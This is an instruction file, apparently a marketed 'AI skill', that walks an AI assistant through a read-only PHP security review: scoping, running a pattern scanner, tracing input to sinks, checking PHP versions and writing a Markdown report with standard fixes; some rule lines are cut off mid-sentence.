  1. Scope. Find out what is being reviewed: pasted code, uploaded files or a project folder. Ask which PHP version runs in production if it is not stated (the user can read it from phpinfo() or the X-Powered-By header).
  2. Scan (when files are available). Run the pattern scanner for a first pass. It can be run from any directory; write its output outside the skill folder: It only reads files and prints leads; it changes nothing and makes no network calls. Its severities are pattern-based: re-rate every lead with the rubric below after reading the code around it. A lead whose input is never assigned, or never reaches the sink, is not a finding (see "Checked and fine" below).
    python3 <skill-folder>/scripts/scan_php.py <project-or-file>                       # readable
    python3 <skill-folder>/scripts/scan_php.py <project-or-file> --json > /tmp/findings.json
  3. Read the code paths that matter, scanner or not: login and password reset, session handling, every form handler, file upload and download, admin pages, payment callbacks and webhooks, anything using $_GET, $_POST, $_REQUEST (which includes cookies), $_COOKIE, $_FILES or $_SERVER. Trace user input to where it is used (query, HTML output, file path, shell command, redirect, include).
  4. Check each category in references/checklist.md. Load it before writing the report.
  5. Check the runtime. Compare the production PHP version with references/php-versions.md. That table carries a "last updated" date and a source link for each advisory: when you can reach the web, confirm the fixed versions on php.net before stating them; when you cannot, say the numbers come from the skill's table and give its date. A runtime below a fixed version, or at end of life, is finding #1 of the report. Also note PHP 8 incompatibilities that stop the code running at all (a parse_str() with one argument, a removed function): report them, and hand the migration itself to the PHP 8 upgrade skill if the user has it.
  6. Write the report using references/report-template.md.

Rules for findings

the sink (for example: $_GET['id'] → string-concatenated into mysqli_query() in admin/user.php:42). For configuration, runtime and secrets findings there is no input path: write "n/a".

a missing include) still gets its findings, marked "unreachable until <X> is fixed": one bug fix would make them live. Say which fix would do it.

findings when the fixes differ.

standard tool: prepared statements, htmlspecialchars($v, ENT_QUOTES, 'UTF-8'), password_hash() / password_verify(), hash_equals(), random_bytes(), an allow-list for redirects and file names. Low findings may use a one-line fix.

parameter"), including scanner leads that are not exploitable as written (input never assigned, never reaches the sink, already escaped), each with a one-line reason and, where trivial, the hardening change anyway.

0 == "abc" is true on the stated version). Never execute the project itself, deploy it or modify it, and never send code or secrets anywhere.

Output

A Markdown report following the template: summary table first, then findings from most to least severe, then "Checked and fine", then hardening suggestions, then "Update PHP" when the runtime needs it. Keep it scannable; put long code in fenced blocks.

PHPGuru AI Skills are instruction files for AI assistants that support the open Agent Skills format (Claude and others). Not affiliated with or endorsed by Anthropic. The assistant can still make mistakes; read its findings before acting on them.

Get the Developer Pack